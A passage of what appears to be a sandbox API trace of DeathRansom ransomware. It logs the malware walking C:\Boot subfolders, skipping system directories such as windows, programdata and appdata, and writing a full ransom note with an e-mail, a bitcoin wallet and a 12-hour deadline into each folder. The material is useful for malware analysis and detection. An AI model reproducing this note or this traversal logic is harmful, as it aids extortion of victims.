ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.608] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.608] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\read_me.txt") returned 29 [0077.608] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\read_me.txt" (normalized: "c:\\boot\\en-us\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.608] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.608] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.609] CloseHandle (hObject=0x7b0) returned 1 [0077.609] GetProcessHeap () returned 0x540000 [0077.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.609] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0077.609] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES") returned 17 [0077.609] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0077.609] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0077.609] StrStrW (lpFirst="es-es", lpSrch="programdata") returned 0x0 [0077.609] StrStrW (lpFirst="es-es", lpSrch="$recycle.bin") returned 0x0 [0077.609] StrStrW (lpFirst="es-es", lpSrch="program files") returned 0x0 [0077.610] StrStrW (lpFirst="es-es", lpSrch="windows") returned 0x0 [0077.610] StrStrW (lpFirst="es-es", lpSrch="all users") returned 0x0 [0077.610] StrStrW (lpFirst="es-es", lpSrch="appdata") returned 0x0 [0077.610] GetProcessHeap () returned 0x540000 [0077.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.610] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\es-ES" | out: lpString1="\\\\?\\C:\\Boot\\es-ES") returned="\\\\?\\C:\\Boot\\es-ES" [0077.610] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 7 [0077.610] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.610] GetProcessHeap () returned 0x540000 [0077.610] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.611] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\*") returned 19 [0077.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.633] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\.") returned 19 [0077.633] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.633] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.633] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.633] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\..") returned 20 [0077.633] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.633] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.633] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 33 [0077.633] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.633] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.633] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\read_me.txt") returned 29 [0077.633] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\read_me.txt" (normalized: "c:\\boot\\es-es\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.634] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.634] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.635] CloseHandle (hObject=0x7b8) returned 1 [0077.635] GetProcessHeap () returned 0x540000 [0077.635] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.636] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0077.636] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI") returned 17 [0077.636] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0077.636] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0077.636] StrStrW (lpFirst="fi-fi", lpSrch="programdata") returned 0x0 [0077.636] StrStrW (lpFirst="fi-fi", lpSrch="$recycle.bin") returned 0x0 [0077.636] StrStrW (lpFirst="fi-fi", lpSrch="program files") returned 0x0 [0077.636] StrStrW (lpFirst="fi-fi", lpSrch="windows") returned 0x0 [0077.636] StrStrW (lpFirst="fi-fi", lpSrch="all users") returned 0x0 [0077.636] StrStrW (lpFirst="fi-fi", lpSrch="appdata") returned 0x0 [0077.636] GetProcessHeap () returned 0x540000 [0077.636] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.637] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\fi-FI" | out: lpString1="\\\\?\\C:\\Boot\\fi-FI") returned="\\\\?\\C:\\Boot\\fi-FI" [0077.637] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 8 [0077.637] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.639] GetProcessHeap () returned 0x540000 [0077.639] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.639] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\*") returned 19 [0077.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.639] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\.") returned 19 [0077.639] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.639] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.639] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.639] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\..") returned 20 [0077.639] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.639] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.639] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 33 [0077.639] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.639] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.639] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\read_me.txt") returned 29 [0077.639] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\read_me.txt" (normalized: "c:\\boot\\fi-fi\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.639] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.639] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.640] CloseHandle (hObject=0x7b8) returned 1 [0077.640] GetProcessHeap () returned 0x540000 [0077.640] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.640] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0077.641] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts") returned 17 [0077.641] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0077.641] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0077.641] StrStrW (lpFirst="fonts", lpSrch="programdata") returned 0x0 [0077.641] StrStrW (lpFirst="fonts", lpSrch="$recycle.bin") returned 0x0 [0077.641] StrStrW (lpFirst="fonts", lpSrch="program files") returned 0x0 [0077.641] StrStrW (lpFirst="fonts", lpSrch="windows") returned 0x0 [0077.641] StrStrW (lpFirst="fonts", lpSrch="all users") returned 0x0 [0077.641] StrStrW (lpFirst="fonts", lpSrch="appdata") returned 0x0 [0077.641] GetProcessHeap () returned 0x540000 [0077.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.641] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\Fonts" | out: lpString1="\\\\?\\C:\\Boot\\Fonts") returned="\\\\?\\C:\\Boot\\Fonts" [0077.641] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 9 [0077.641] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.643] GetProcessHeap () returned 0x540000 [0077.643] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.643] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\*") returned 19 [0077.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.643] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\.") returned 19 [0077.643] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.644] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.644] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.644] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\..") returned 20 [0077.644] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.644] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0077.644] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned 30 [0077.644] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0077.644] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned 30 [0077.644] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0077.644] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned 30 [0077.644] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0077.644] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned 30 [0077.644] FindNextFileW (in: 